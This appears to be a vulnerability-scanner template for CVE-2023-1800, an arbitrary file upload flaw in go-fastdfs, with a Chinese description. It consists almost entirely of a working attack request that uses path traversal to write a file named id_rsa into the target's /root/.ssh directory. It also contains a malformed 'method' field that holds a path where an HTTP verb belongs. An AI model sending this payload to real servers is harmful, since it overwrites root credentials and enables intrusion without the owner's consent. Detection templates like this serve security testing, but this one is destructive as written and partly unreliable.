CVE-2023-1800: Go-fastdfs upload 任意文件上传漏洞

id: CVE-2023-1800

info:
  name: Go-fastdfs upload 任意文件上传漏洞 
  author: zan8in
  severity: high
  verified: false
  description: |
    Go-fastdfs upload 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器中，攻击服务器
    "go-fastdfs"

set:
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: /group1/upload
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"id\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        test\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"scene\"\r\n\
        \r\n\
        default\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"filename\"\r\n\
        \r\n\
        id_rsa\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"output\"\r\n\
        \r\n\
        json2\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"path\"\r\n\
        \r\n\
        ../../../../../root/.ssh\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"code\"\r\n\
        \r\n\
        \r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"auth_token\"\r\n\
        \r\n\
        \r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"submit\"\r\n\
        \r\n\
        upload\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'"data":') && response.body.bcontains(b'"md5":') && response.body.bcontains(b'"retcode":') && response.body.bcontains(b'"retmsg":') && response.body.bcontains(b'id_rsa')
expression: r0()